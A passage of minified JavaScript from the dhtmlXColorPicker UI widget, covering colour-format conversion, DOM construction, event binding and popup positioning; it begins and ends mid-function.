l=(this!=window)?this:event.srcElement;h.activeNode=(h.activeNode.node!=l)?h._getNodeByElement(l):h.activeNode;if(!h.isVisible()){h.show()}};this.saveColor=function(){h.memory.setValue(h.value)};this._onSelectMemoryEl=function(o){var l;h._refreshCoordinatesByHSL(o.value.hue,o.value.sat,o.value.lum);for(l in o.value){h.value[l]=o.value[l]}h._refreshContrast();h._refreshInputValues();h._refreshColorValue()};this._doOnClickByBody=function(q){q=q||event;var l=true,o=q.target||q.srcElement;if(h._isBaseNode(o)){l=false}if(l&&h.activeNode&&(h.activeNode.node==o||h.activeNode.valueCont==o)){l=false}if(l){h.hide()}};this._doOnChangeHSL=function(){var q=parseInt(h._controllerNodes.hue.value),o=parseInt(h._controllerNodes.sat.value),l=parseInt(h._controllerNodes.lum.value),r;if(isNaN(q)||q>359||q<0){h._controllerNodes.hue.value=h.value.hue}else{h.value.hue=q}if(isNaN(o)||o>100||o<0){h._controllerNodes.sat.value=h.value.sat}else{h.value.sat=o}if(isNaN(l)||l>100||l<0){h._controllerNodes.lum.value=h.value.lum}else{h.value.lum=l}r=h.colorAIP.hsl2rgb(h.value.hue,h.value.sat/100,h.value.lum/100);h.value.red=Math.round(255*r.r);h.value.green=Math.round(255*r.g);h.value.blue=Math.round(255*r.b);h._refreshCoordinatesByHSL(h.value.hue,h.value.sat,h.value.lum);h._refreshContrast();h._refreshInputValues();h._refreshColorValue()};this._doOnChangeRGB=function(){var r=parseInt(h._controllerNodes.red.value),q=parseInt(h._controllerNodes.green.value),l=parseInt(h._controllerNodes.blue.value),o;if(isNaN(r)||r>255||r<0){h._controllerNodes.red.value=h.value.red}else{h.value.red=r}if(isNaN(q)||q>255||q<0){h._controllerNodes.green.value=h.value.green}else{h.value.green=q}if(isNaN(l)||l>255||l<0){h._controllerNodes.blue.value=h.value.blue}else{h.value.blue=l}o=h.colorAIP.rgb2hsl(h.value.red/255,h.value.green/255,h.value.blue/255);h.value.hue=Math.round(o.h);h.value.sat=Math.round(o.s*100);h.value.lum=Math.round(o.l*100);h._refreshCoordinatesByHSL(h.value.hue,h.value.sat,h.value.lum);h._refreshContrast();h._refreshInputValues();h._refreshColorValue()};this._doOnChangeHSV=function(){h._controllerNodes.hsv.value=h.setColor(h._controllerNodes.hsv.value)};this._checkType=function(o){var l;if(o instanceof Array){l=h._checkType(o[0]);switch(l){case\"string\":return\"array_string\";break;case\"input\":case\"textarea\":return\"array_input\";break;case\"object\":return\"array_object\";break;default:return undefined}}else{if(o==undefined){return null}else{if(typeof(o)==\"string\"){return\"string\"}else{if(o.tagName&&o.tagName.toLowerCase()==\"input\"){return\"input\"}else{if(o.tagName&&o.tagName.toLowerCase()==\"textarea\"){return\"textarea\"}else{if(o.tagName){return\"container\"}else{if(typeof(o)==\"object\"){return\"object\"}else{return undefined}}}}}}}};this._initByObject=function(l){if(l.parent&&l.parent.tagName){h.base=l.parent}else{if(typeof(l.parent)==\"string\"){h.base=document.getElementById(l.parent)}else{h.base=document.createElement(\"div\");h.base._dhx_remove=true}}if(l.color){h.conf.selectedColor=l.color}if(typeof(l.closeable)!=\"undefined\"){this.conf.closeable=dhx4.s2b(l.closeable)}if(l.custom_colors){this._tempInitCC=function(){var r,q;this.initMemoryColors();this.conf.customColors=true;if(l.custom_colors instanceof Array){q=l.custom_colors.length;for(r=0;r<q;r++){this.setCustomColors(l.custom_colors[r])}}if(this.base.parentNode){this.showMemory()}delete this._tempInitCC}}if(l.hide){h.conf.hide=true}if(l.input){h._addNode(l.input,l.target_color,l.target_value)}var o=l.skin||window.dhx4.skin||(typeof(dhtmlx)!=\"undefined\"?dhtmlx.skin:null)||window.dhx4.skinDetect(\"dhxcolorpicker\")||\"dhx_skyblue\";h.setSkin(o);if(l.colors){h.initMemoryColors();h.conf.customColors=true}if(l.link){h._addNode(l.link)}};this.unload=function(){var r,o,q;if(this.isVisible()){this.hide()}this.destructMemory();o=this._nodes.length;for(r=0;r<o;r++){this._detachEventsFromNode(this._nodes[r]);for(q in this._nodes[r]){this._nodes[r][q]=null}delete this._nodes[r]}this._nodes=null;if(!this.base._dhx_remove){this.base.className=this.base.className.replace(/\\s?dhtmlxcp_\\S*/,\"\")}else{delete this.base._dhx_remove}if(typeof(window.addEventListener)==\"function\"){this._controllerNodes.colorArea.removeEventListener(\"mousedown\",this._initMoveSelection,false);this._controllerNodes.colorArea.removeEventListener(\"dblclick\",this._doOnSelectColor,false);this._controllerNodes.contrastArea.removeEventListener(\"mousedown\",this._initMoveContrast,false);this._controllerNodes.button_save.removeEventListener(\"click\",this._doOnSelectColor,false);this._controllerNodes.button_cancel.removeEventListener(\"click\",this._doOnCancel,false);this._controllerNodes.hue.removeEventListener(\"change\",this._doOnChangeHSL,false);this._controllerNodes.sat.removeEventListener(\"change\",this._doOnChangeHSL,false);this._controllerNodes.lum.removeEventListener(\"change\",this._doOnChangeHSL,false);this._controllerNodes.red.removeEventListener(\"change\",this._doOnChangeRGB,false);this._controllerNodes.green.removeEventListener(\"change\",this._doOnChangeRGB,false);this._controllerNodes.blue.removeEventListener(\"change\",this._doOnChangeRGB,false);this._controllerNodes.hsv.removeEventListener(\"change\",this._doOnChangeHSV,false)}else{this._controllerNodes.colorArea.detachEvent(\"onmousedown\",this._initMoveSelection);this._controllerNodes.colorArea.detachEvent(\"ondblclick\",this._doOnSelectColor);this._controllerNodes.contrastArea.detachEvent(\"onmousedown\",this._initMoveContrast);this._controllerNodes.button_save.detachEvent(\"onclick\",this._doOnSelectColor);this._controllerNodes.button_cancel.detachEvent(\"onclick\",this._doOnCancel);this._controllerNodes.hue.detachEvent(\"onchange\",this._doOnChangeHSL);this._controllerNodes.sat.detachEvent(\"onchange\",this._doOnChangeHSL);this._controllerNodes.lum.detachEvent(\"onchange\",this._doOnChangeHSL);this._controllerNodes.red.detachEvent(\"onchange\",this._doOnChangeRGB);this._controllerNodes.green.detachEvent(\"onchange\",this._doOnChangeRGB);this._controllerNodes.blue.detachEvent(\"onchange\",this._doOnChangeRGB);this._controllerNodes.hsv.detachEvent(\"onchange\",this._doOnChangeHSV)}if(this._controllerNodes.fr_cover){if(this._controllerNodes.fr_cover.parentNode){this._controllerNodes.fr_cover.parentNode.removeChild(this._controllerNodes.fr_cover)}delete this._controllerNodes.fr_cover}dhx4.zim.clear(this.conf.cp_id);dhx4._eventable(this,\"clear\");for(q in this){this[q]=null}h=null,m=null,c=null};g=this._checkType(n);switch(g){case\"object\":h._initByObject(n);break;case\"input\":case\"textarea\":h._initByObject({});this._addNode(n);break;case\"string\":m=document.getElementById(n);return new dhtmlXColorPicker(m);break;case\"container\":h._initByObject({parent:n});break;case null:h._initByObject({});break;case\"array_string\":case\"array_input\":h._initByObject({});a=n.length;for(e=0;e<a;e++){this._addNode(n[e])}break;case\"array_object\":h._initByObject({});a=n.length;for(e=0;e<a;e++){c=this._addNode(n[e].input,n[e].target_color,n[e].target_value).conf;c.customColors=(n[e].custom_colors!=undefined)?dhx4.s2b(n[e].custom_colors):c.customColors;c.selectedColor=(n[e].color!=undefined)?n[e].color:c.selectedColor}break}this.base.innerHTML=\"<div class='dhxcp_g_area'><div class='dhxcp_sub_area'><div class='dhxcp_g_color_area'><div class='dhxcp_color_selector'><div class='dhxcp_v_line'></div><div class='dhxcp_h_line'></div></div><div class='dhxcp_contrast_area'><div class='dhxcp_h_line'></div></div></div><div class='dhxcp_g_input_area'><div class='dhxcp_value_cont'><div class='dhxcp_value_color'></div><input type='text' class='dhxcp_value'/></div><table class='dhxcp_inputs_cont' cellpadding='0' cellspacing='0' border='0'><tr><td class='dhxcp_label_hsl'>\"+this.i18n[this.conf.lang].labelHue+\"</td><td class='dhxcp_input_hsl'><input type='text' class='dhxcp_input_hsl'/></td><td class='dhxcp_label_rgb'>\"+this.i18n[this.conf.lang].labelRed+\"</td><td class='dhxcp_input_rgb'><input type='text' class='dhxcp_input_rgb'/></td></tr><tr><td class='dhxcp_label_hsl'>\"+this.i18n[this.conf.lang].labelSat+\"</td><td class='dhxcp_input_hsl'><input type='text' class='dhxcp_input_hsl'/></td><td class='dhxcp_label_rgb'>\"+this.i18n[this.conf.lang].labelGreen+\"</td><td class='dhxcp_input_rgb'><input type='text' class='dhxcp_input_rgb'/></td></tr><tr><td class='dhxcp_label_hsl'>\"+this.i18n[this.conf.lang].labelLum+\"</td><td class='dhxcp_input_hsl'><input type='text' class='dhxcp_input_hsl'/></td><td class='dhxcp_label_rgb'>\"+this.i18n[this.conf.lang].labelBlue+\"</td><td class='dhxcp_input_rgb'><input type='text' class='dhxcp_input_rgb'/></td></tr></table></div><div class='dhxcp_g_memory_area'></div><div class='dhxcp_buttons_area'><button class='dhx_button_save'>\"+this.i18n[this.conf.lang].btnSelect+\"</button><button class='dhx_button_cancel'>\"+this.i18n[this.conf.lang].btnCancel+\"</button></div></div>\";\"</div>\";this._globalNode=this.base.firstChild;this._controllerNodes={colorArea:this._globalNode.firstChild.firstChild.firstChild,v_line:this._globalNode.firstChild.firstChild.firstChild.childNodes[0],h_line:this._globalNode.firstChild.firstChild.firstChild.childNodes[1],contrastArea:this._globalNode.firstChild.firstChild.childNodes[1],contrast_line:this._globalNode.firstChild.firstChild.childNodes[1].firstChild,color:this._globalNode.firstChild.childNodes[1].childNodes[0].firstChild,hsv:this._globalNode.firstChild.childNodes[1].childNodes[0].childNodes[1],hue:this._globalNode.firstChild.childNodes[1].childNodes[1].firstChild.childNodes[0].childNodes[1].firstChild,sat:this._globalNode.firstChild.childNodes[1].childNodes[1].firstChild.childNodes[1].childNodes[1].firstChild,lum:this._globalNode.firstChild.childNodes[1].childNodes[1].firstChild.childNodes[2].childNodes[1].firstChild,red:this._globalNode.firstChild.childNodes[1].childNodes[1].firstChild.childNodes[0].childNodes[3].firstChild,green:this._globalNode.firstChild.childNodes[1].childNodes[1].firstChild.childNodes[1].childNodes[3].firstChild,blue:this._globalNode.firstChild.childNodes[1].childNodes[1].firstChild.childNodes[2].childNodes[3].firstChild,memory_block:this._globalNode.firstChild.childNodes[2],button_save:this._globalNode.firstChild.childNodes[3].firstChild,button_cancel:this._globalNode.firstChild.childNodes[3].childNodes[1]};this._labelNodes={labelHue:this._globalNode.firstChild.childNodes[1].childNodes[1].firstChild.childNodes[0].firstChild,labelSat:this._globalNode.firstChild.childNodes[1].childNodes[1].firstChild.childNodes[1].firstChild,labelLum:this._globalNode.firstChild.childNodes[1].childNodes[1].firstChild.childNodes[2].firstChild,labelRed:this._globalNode.firstChild.childNodes[1].childNodes[1].firstChild.childNodes[0].childNodes[2],labelGreen:this._globalNode.firstChild.childNodes[1].childNodes[1].firstChild.childNodes[1].childNodes[2],labelBlue:this._globalNode.firstChild.childNodes[1].childNodes[1].firstChild.childNodes[2].childNodes[2],btnAddColor:null,btnSelect:this._globalNode.firstChild.childNodes[3].firstChild,btnCancel:this._globalNode.firstChild.childNodes[3].childNodes[1]};if(typeof(this._tempInitCC)==\"function\"){this._tempInitCC()}if(typeof(window.addEventListener)==\"function\"){this._controllerNodes.colorArea.addEventListener(\"mousedown\",this._initMoveSelection,false);this._controllerNodes.colorArea.addEventListener(\"dblclick\",this._doOnSelectColor,false);this._controllerNodes.contrastArea.addEventListener(\"mousedown\",this._initMoveContrast,false);this._controllerNodes.button_save.addEventListener(\"click\",this._doOnSelectColor,false);this._controllerNodes.button_cancel.addEventListener(\"click\",this._doOnCancel,false);this._controllerNodes.hue.addEventListener(\"change\",this._doOnChangeHSL,false);this._controllerNodes.sat.addEventListener(\"change\",this._doOnChangeHSL,false);this._controllerNodes.lum.addEventListener(\"change\",this._doOnChangeHSL,false);this._controllerNodes.red.addEventListener(\"change\",this._doOnChangeRGB,false);this._controllerNodes.green.addEventListener(\"change\",this._doOnChangeRGB,false);this._controllerNodes.blue.addEventListener(\"change\",this._doOnChangeRGB,false);this._controllerNodes.hsv.addEventListener(\"change\",this._doOnChangeHSV,false)}else{this._controllerNodes.colorArea.attachEvent(\"onmousedown\",this._initMoveSelection);this._controllerNodes.colorArea.attachEvent(\"ondblclick\",this._doOnSelectColor);this._controllerNodes.contrastArea.attachEvent(\"onmousedown\",this._initMoveContrast);this._controllerNodes.button_save.attachEvent(\"onclick\",this._doOnSelectColor);this._controllerNodes.button_cancel.attachEvent(\"onclick\",this._doOnCancel);this._controllerNodes.hue.attachEvent(\"onchange\",this._doOnChangeHSL);this._controllerNodes.sat.attachEvent(\"onchange\",this._doOnChangeHSL);this._controllerNodes.lum.attachEvent(\"onchange\",this._doOnChangeHSL);this._controllerNodes.red.attachEvent(\"onchange\",this._doOnChangeRGB);this._controllerNodes.green.attachEvent(\"onchange\",this._doOnChangeRGB);this._controllerNodes.blue.attachEvent(\"onchange\",this._doOnChangeRGB);this._controllerNodes.hsv.attachEvent(\"onchange\",this._doOnChangeHSV)}this.setColor(this.conf.selectedColor||\"#ffffff\");if(this._nodes.length){for(var e=0;e<this._nodes.length;e++){this._attachEventsToNode(this._nodes[e])}}if(this.conf.hide){this.hide()}if(typeof(this._cpInitFRM)==\"function\"){this._cpInitFRM()}}dhtmlXColorPicker.prototype.linkTo=function(c,e,g){if(arguments.length==1){e=g=c}var a;c=c||null;g=g||null;if(typeof(e)==\"string\"){e=document.getElementById(e)}a=this._addNode(e,c,g);if(a){this._attachEventsToNode(a)}return a};dhtmlXColorPicker.prototype._isBaseNode=function(a){if(a==this.base){return true}if(a.parentElement==document.body){return false}else{if(!a.parentElement){return false}else{return this._isBaseNode(a.parentElement)}}};dhtmlXColorPicker.prototype._hasInput=function(e){var c,a,g=false;a=this._nodes.length;for(c=0;c<a;c++){if(this._nodes[c].valueCont==e){g=true;break}}return g};dhtmlXColorPicker.prototype._findNodesByArray=function(h){var e,a,c,g=[];a=h.length;for(e=0;e<a;e++){if(typeof(h[e])==\"string\"){c=document.getElementById(h[e])}else{c=h[e]}if(c){this._addNode(c)}}};dhtmlXColorPicker.prototype._addNode=function(h,m,l){var c,g,e,a;if(typeof(h)==\"string\"){c=document.getElementById(h)}else{c=h}if(typeof(m)==\"string\"){m=document.getElementById(m)}if(typeof(l)==\"string\"){l=document.getElementById(l)}if(!c){return null}if(dhx4.s2b(c.getAttribute(\"colorbox\"))){g=document.createElement(\"div\");g.style.width=c.offsetWidth+\"px\";g.style.height=c.offsetHeight+\"px\";c.style.width=c.offsetWidth-(c.offsetHeight+8)+\"px\";c.parentNode.insertBefore(g,c);g.style.position=\"relative\";e=document.createElement(\"div\");g.appendChild(c);g.appendChild(e);e.className=\"dhxcp_colorBox\";c.className+=\" dhxcp_colorInput\";e.style.width=e.style.height=c.offsetHeight+\"px\"}a={node:c,valueColor:(m!=undefined)?m:e||c,valueCont:(l!=undefined)?l:c,conf:{customColors:(c.getAttribute(\"customcolors\")!=null)?dhx4.s2b(c.getAttribute(\"customcolors\")):null,selectedColor:c.getAttribute(\"selectedcolor\")}};this._nodes.push(a);if(!this.activeNode){this.activeNode=a}return a};dhtmlXColorPicker.prototype.getNode=function(e){var a=null,c=null;if(typeof(e)==\"string\"){a=document.getElementById(e)}else{a=e}if(a.tagName!=undefined){c=this._getNodeByElement(a)}return c};dhtmlXColorPicker.prototype._getNodeByElement=function(e){var g=null,c,a;a=this._nodes.length;for(c=0;c<a;c++){if(this._nodes[c].node==e){g=this._nodes[c]}}return g};dhtmlXColorPicker.prototype._getNodeByValueCont=function(e){var g=null,c,a;a=this._nodes.length;for(c=0;c<a;c++){if(this._nodes[c].valueCont&&this._nodes[c].valueCont==e){g=this._nodes[c]}}return g};dhtmlXColorPicker.prototype.initMemoryColors=function(){var c=this;this._controllerNodes.memory_block.innerHTML=\"<div class='dhxcp_memory_button_cont'><button class='dhxcp_save_to_memory'><div class='dhxcp_label_bm'>\"+this.i18n[this.conf.lang].btnAddColor+\"</div></button></div><div class='dhxcp_memory_els_cont'><a class='dhxcp_memory_el'></a><a class='dhxcp_memory_el'></a><a class='dhxcp_memory_el'></a><a class='dhxcp_memory_el'></a><a class='dhxcp_memory_el'></a><a class='dhxcp_memory_el'></a><a class='dhxcp_memory_el'></a><a class='dhxcp_memory_el'></a></div>\";this.memory=new this.Memory(this._controllerNodes.memory_block.childNodes[1]);this.memory.onSelect=this._onSelectMemoryEl;this.memory.onSave=function(g){var e=c.colorAIP.rgb2hex({r:g.red,g:g.green,b:g.blue});c.callEvent(\"onSaveColor\",[e])};var a=this._controllerNodes.memory_block.childNodes[0].firstChild;this._labelNodes.btnAddColor=this._controllerNodes.memory_block.childNodes[0].firstChild.firstChild;if(typeof(window.addEventListener)==\"function\"){a.addEventListener(\"click\",this.saveColor,false)}else{a.attachEvent(\"onclick\",this.saveColor)}};dhtmlXColorPicker.prototype._refreshCoordinatesByHSL=function(n,m,c){var a,g,e;a=Math.round((this.configColorArea.maxX-this.configColorArea.minX)*n/359)+this.configColorArea.minX;g=Math.round((this.configColorArea.maxY-this.configColorArea.minY)*(100-c)/100)+this.configColorArea.minY;e=Math.round((this.configColorArea.maxY-this.configColorArea.minY)*(100-m)/100)+this.configColorArea.minY;this._setColorAreaXY(a,g);this._setContrastY(e)};dhtmlXColorPicker.prototype._parseColor=function(e){if(e instanceof Array){var c={r:parseInt(e[0]),g:parseInt(e[1]),b:parseInt(e[2])}}else{if(typeof(e)==\"string\"){e=e.replace(/\\s/g,\"\");if(/^rgb\\((\\d{1,3})\\,(\\d{1,3})\\,(\\d{1,3})\\)$/i.test(e)){var a=e.match(/^rgb\\((\\d{1,3})\\,(\\d{1,3})\\,(\\d{1,3})\\)$/i);var c={r:parseInt(a[1]),g:parseInt(a[2]),b:parseInt(a[3])}}else{var c=this.colorAIP.hex2rgb(e)}}}return c};dhtmlXColorPicker.prototype.setColor=function(l){var c=this.colorAIP.rgb2hex({r:this.value.red,g:this.value.green,b:this.value.blue});var e=this._parseColor(l);var h=(e instanceof Object);h=h&&(0<=e.r&&e.r<=255);h=h&&(0<=e.g&&e.g<=255);h=h&&(0<=e.b&&e.b<=255);if(!h){return c}var g=this.colorAIP.rgb2hex({r:e.r,g:e.g,b:e.b});if(g==c){return c}this.value.red=e.r;this.value.green=e.g;this.value.blue=e.b;var a=this.colorAIP.rgb2hsl(e.r/255,e.g/255,e.b/255);this.value.hue=Math.round(a.h);this.value.sat=Math.round(a.s*100);this.value.lum=Math.round(a.l*100);this._refreshCoordinatesByHSL(this.value.hue,this.value.sat,this.value.lum);this._refreshContrast();this._refreshInputValues();this._refreshColorValue();return g};dhtmlXColorPicker.prototype.getSelectedColor=function(){return[this.colorAIP.rgb2hex({r:this.value.red,g:this.value.green,b:this.value.blue}),[this.value.red,this.value.green,this.value.blue],[this.value.hue,this.value.sat,this.value.lum]]};dhtmlXColorPicker.prototype._attachEventsToNode=function(a){if(typeof(window.addEventListener)==\"function\"){a.node.addEventListener(\"click\",this._doOnClickByNode,false)}else{a.node.attachEvent(\"onclick\",this._doOnClickByNode)}if(a.valueCont&&a.valueCont.tagName.toLowerCase()==\"input\"){if(typeof(window.addEventListener)==\"function\"){a.valueCont.addEventListener(\"focus\",this._doOnFocusByInput,false);a.valueCont.addEventListener(\"blur\",this._doOnBlurByInput,false)}else{a.valueCont.attachEvent(\"onfocus\",this._doOnFocusByInput);a.valueCont.attachEvent(\"onblur\",this._doOnBlurByInput)}}};dhtmlXColorPicker.prototype._detachEventsFromNode=function(a){if(typeof(window.addEventListener)==\"function\"){a.node.removeEventListener(\"click\",this._doOnClickByNode,false)}else{a.node.detachEvent(\"onclick\",this._doOnClickByNode)}if(a.valueCont&&a.valueCont.tagName.toLowerCase()==\"input\"){if(typeof(window.addEventListener)==\"function\"){a.valueCont.removeEventListener(\"focus\",this._doOnFocusByInput,false);a.valueCont.removeEventListener(\"blur\",this._doOnBlurByInput,false)}else{a.valueCont.detachEvent(\"onfocus\",this._doOnFocusByInput);a.valueCont.detachEvent(\"onblur\",this._doOnBlurByInput)}}};dhtmlXColorPicker.prototype.show=function(c){var a=false;if(c!=undefined){this.activeNode=this.getNode(c)||this.activeNode}if(this.activeNode&&this.activeNode.valueCont&&this.activeNode.valueCont.value){this.setColor(this.activeNode.valueCont.value)}if(this.activeNode){a=(this.activeNode.conf.customColors!=null?this.activeNode.conf.customColors:this.conf.customColors);this.setColor(this.activeNode.conf.selectedColor)}else{a=this.conf.customColors}if(a){this.showMemory()}else{this.hideMemory()}if(this.base._dhx_remove){this.base.firstChild.style.zIndex=dhx4.zim.reserve(this.conf.cp_id);this.base.style.visibility=\"hidden\";if(document.body.firstChild){document.body.insertBefore(this.base,document.body.firstChild)}else{document.body.appendChild(this.base)}this._refreshPosition();this.base.style.visibility=\"visible\";if(typeof(window.addEventListener)==\"function\"){document.body.addEventListener(\"mousedown\",this._doOnClickByBody,false)}else{document.body.attachEvent(\"onmousedown\",this._doOnClickByBody)}}else{this.base.appendChild(this._globalNode)}if(this._controllerNodes.fr_cover){this.base.insertBefore(this._controllerNodes.fr_cover,this._globalNode)}this.callEvent(\"onShow\",[((this.activeNode)?this.activeNode.node:null)])};dhtmlXColorPicker.prototype.setPosition=function(c,h){var g=null;var a=parseInt(c);var e=parseInt(h);if(isNaN(a)){g=({right:\"right\",bottom:\"bottom\"}[c.toLowerCase()]?c:null)}if(this.base._dhx_remove){if(g==null){}else{this.conf.position=g;this._refreshPosition(g)}}else{if(isNaN(a)||isNaN(e)){}else{this._globalNode.style.left=a+\"px\";this._globalNode.style.top=e+\"px\";if(this._controllerNodes.fr_cover){this._controllerNodes.fr_cover.style.left=this._globalNode.style.left;this._controllerNodes.fr_cover.style.top=this._globalNode.style.top}}}};dhtmlXColorPicker.prototype._initListenerInput=function(){var a=this;this._inputListenerId=this._inputListenerId||setInterval(function(){a._refreshValueByInput()},70)};dhtmlXColorPicker.prototype._removeListenerInput=function(){if(this._inputListenerId){clearInterval(this._inputListenerId);this._inputListenerId=null}};dhtmlXColorPicker.prototype._refreshValueByInput=function(){var c=this.activeNode.valueCont.value,a=this.getSelectedColor()[0];if(this._inputListenerId){if(/^#[\\da-f]{6}$/i.test(c)&&c!=a){this.setColor(c);this.callEvent(\"onSelect\",[c,this.activeNode.node])}}};dhtmlXColorPicker.prototype._refreshPosition=function(c){if(this.activeNode==null){return}var n=dhx4.absTop(this.activeNode.node);var a=dhx4.absLeft(this.activeNode.node);var g=dhx4.screenDim();var e=this._globalNode.offsetWidth;var h=this._globalNode.offsetHeight;var m=0;c=c||this.conf.position;switch(c){case\"bottom\":var m=n+this.activeNode.node.offsetHeight+this.conf.indent;var l=a;if(l+e>g.left+g.right){l=a+this.activeNode.node.offsetWidth-e}if(l<g.left){l=a}if(m+h>g.top+g.bottom){m=n-h-this.conf.indent}if(m-g.top<0){m=g.top+this.conf.indent}this._globalNode.style.top=m+\"px\";this._globalNode.style.left=l+\"px\";break;default:var l=a+this.activeNode.node.offsetWidth+this.conf.indent;m=n;if(c==\"right\"){if(l+e>g.left+g.right){l=a-e-this.conf.indent}if(l<g.left){l=a+this.activeNode.node.offsetWidth+this.conf.indent}}if(g.bottom-(m+h)<=0){m=n+this.activeNode.node.offsetHeight-h}if(m-g.top<0){m=g.top+this.conf.indent}this._globalNode.style.left=l+\"px\";this._globalNode.style.top=m+\"px\"}if(this._controllerNodes.fr_cover){this._controllerNodes.fr_cover.style.left=this._globalNode.style.left;this._controllerNodes.fr_cover.style.top=this._globalNode.style.top}};dhtmlXColorPicker.prototype.isVisible=function(){var a=false;if(this.base._dhx_remove){a=this.base.parentNode==document.body}else{a=this._globalNode.parentNode==this.base}return a};dhtmlXColorPicker.prototype.hide=function(){if(this.base._dhx_remove){if(this.base.parentNode){this.base.parentNode.removeChild(this.base);dhx4.zim.clear(this.conf.cp_id);if(typeof(window.addEventListener)==\"function\"){document.body.removeEventListener(\"mousedown\",this._doOnClickByBody,false)}else{document.body.detachEvent(\"onmousedown\",this._doOnClickByBody)}}}else{if(this.isVisible()==false){return}this.base.removeChild(this._globalNode)}if(this._controllerNodes.fr_cover&&this._controllerNodes.fr_cover.parentNode){this._controllerNodes.fr_cover.parentNode.removeChild(this._controllerNodes.fr_cover)}if(this.callEvent!=undefined){this.callEvent(\"onHide\",[((this.activeNode)?this.activeNode.node:null)])}};dhtmlXColorPicker.prototype.configColorArea={minX:1,maxX:209,minY:1,maxY:119};dhtmlXColorPicker.prototype._skinCollection={dhx_skyblue:true,dhx_web:true,dhx_terrace:true};dhtmlXColorPicker.prototype.i18n={en:{labelHue:\"Hue\",labelSat:\"Sat\",labelLum:\"Lum\",labelRed:\"Red\",labelGreen:\"Green\",labelBlue:\"Blue\",btnAddColor:\"Save the color\",btnSelect:\"Select\",btnCancel:\"Cancel\"}};dhtmlXColorPicker.prototype.loadUserLanguage=function(a){if(typeof(this._mergeLangModules)==\"function\"){this._mergeLangModules()}this.conf.lang=a;this._refreshLanguage()};dhtmlXColorPicker.prototype._refreshLanguage=function(){var a,c=this.i18n[this.conf.lang];for(a in c){if(this._labelNodes[a]){this._labelNodes[a].innerHTML=c[a]}}};dhtmlXColorPicker.prototype._setColorAreaXY=function(a,e){var c=this.configColorArea;a=parseInt(a);if(c.minX>a){this.conf.x=c.minX}else{if(a>c.maxX){this.conf.x=c.maxX}else{if(!isNaN(a)){this.conf.x=a}}}e=parseInt(e);if(c.minY>e){this.conf.y=c.minY}else{if(e>c.maxY){this.conf.y=c.maxY}else{if(!isNaN(e)){this.conf.y=e}}}this._refreshLines()};dhtmlXColorPicker.prototype._setColorByXYC=function(c){c=c||false;this.value.hue=Math.round((359*(this.conf.x-this.configColorArea.minX))/(this.configColorArea.maxX-this.configColorArea.minX));this.value.lum=Math.round(100-(100*(this.conf.y-this.configColorArea.minY))/(this.configColorArea.maxY-this.configColorArea.minY));this.value.sat=Math.round(100-(100*(this.conf.c-this.configColorArea.minY))/(this.configColorArea.maxY-this.configColorArea.minY));var a=this.colorAIP.hsl2rgb(this.value.hue,this.value.sat/100,this.value.lum/100);this.value.red=Math.round(255*a.r);this.value.green=Math.round(255*a.g);this.value.blue=Math.round(255*a.b);if(!c){this._refreshContrast()}this._refreshInputValues();this._refreshColorValue()};dhtmlXColorPicker.prototype._setContrastY=function(c){var a=this.configColorArea;c=parseInt(c);if(!isNaN(c)){this.conf.c=Math.min(Math.max(a.minY,c),a.maxY)}this._refreshContrastLine()};dhtmlXColorPicker.prototype._refreshInputValues=function(){this._controllerNodes.hue.value=this.value.hue;this._controllerNodes.sat.value=this.value.sat;this._controllerNodes.lum.value=this.value.lum;this._controllerNodes.red.value=this.value.red;this._controllerNodes.green.value=this.value.green;this._controllerNodes.blue.value=this.value.blue};dhtmlXColorPicker.prototype._refreshColorValue=function(){this._controllerNodes.color.style.backgroundColor=\"rgb(\"+[this.value.red,this.value.green,this.value.blue].join(\", \")+\")\";var a=this.colorAIP.rgb2hex({r:this.value.red,g:this.value.green,b:this.value.blue});this._controllerNodes.hsv.value=a;this.callEvent(\"onChange\",[a])};dhtmlXColorPicker.prototype._refreshContrast=function(){var g=this.colorAIP.hsl2rgb(this.value.hue,0,this.value.lum/100);var h=this.colorAIP.hsl2rgb(this.value.hue,1,this.value.lum/100);var e=this._checkIeVersion();if(e&&e<=9){var l=this._controllerNodes.contrastArea.firstChild;if(l==this._controllerNodes.contrast_line){l=document.createElement(\"div\");l.className+=\"dhxcp_ie_gradient\";this._controllerNodes.contrastArea.appendChild(l);this._controllerNodes.contrastArea.appendChild(this._controllerNodes.contrast_line)}var c=this.colorAIP.rgb2hex({r:Math.round(255*g.r),g:Math.round(255*g.g),b:Math.round(255*g.b)});var a=this.colorAIP.rgb2hex({r:Math.round(255*h.r),g:Math.round(255*h.g),b:Math.round(255*h.b)});l.style.filter=\"progid:DXImageTransform.Microsoft.gradient(startColorstr='\"+a+\"', endColorstr='\"+c+\"', GradientType=0)\"}else{g=[Math.round(255*g.r),Math.round(255*g.g),Math.round(255*g.b)];h=[Math.round(255*h.r),Math.round(255*h.g),Math.round(255*h.b)];this._controllerNodes.contrastArea.style.backgroundImage=\"linear-gradient(to top, rgb(\"+g.join(\",\")+\"), rgb(\"+h.join(\",\")+\"))\"}};dhtmlXColorPicker.prototype._refreshLines=function(){this._controllerNodes.v_line.style.left=this.conf.x+\"px\";this._controllerNodes.h_line.style.top=this.conf.y+\"px\"};dhtmlXColorPicker.prototype._refreshContrastLine=function(){this._controllerNodes.contrast_line.style.top=this.conf.c+\"px\"};dhtmlXColorPicker.prototype._getOffsetPosition=function(h,a){var c={x:NaN,y:NaN},g=h.target||h.srcElement;if(g==a){c.x=(h.offsetX!=undefined)?h.offsetX:h.layerX;c.y=(h.offsetY!=undefined)?h.offsetY:h.layerY}else{if(g==this._controllerNodes.v_line){c.y=(h.offsetY!=undefined)?h.offsetY:h.layerY}else{c.x=(h.offsetX!=undefined)?h.offsetX:h.layerX}}return c};dhtmlXColorPicker.prototype.colorAIP={hex2rgb:function(c){var a=c.match(/^(#)([\\da-f]{2})([\\da-f]{2})([\\da-f]{2})$/i);if(a!=null){return{r:parseInt(\"0x\"+a[2]),g:parseInt(\"0x\"+a[3]),b:parseInt(\"0x\"+a[4])}}else{return null}},rgb2hex:function(h){var e=parseInt(h.r),c=parseInt(h.g),a=parseInt(h.b);e=e||0,c=c||0,a=a||0;return\"#\"+((e)?((e<16)?\"0\"+e.toString(16):e.toString(16)):\"00\")+((c)?((c<16)?\"0\"+c.toString(16):c.toString(16)):\"00\")+((a)?((a<16)?\"0\"+a.toString(16):a.toString(16)):\"00\")},rgb2hsl:function(o,n,e){var m,l,c;var 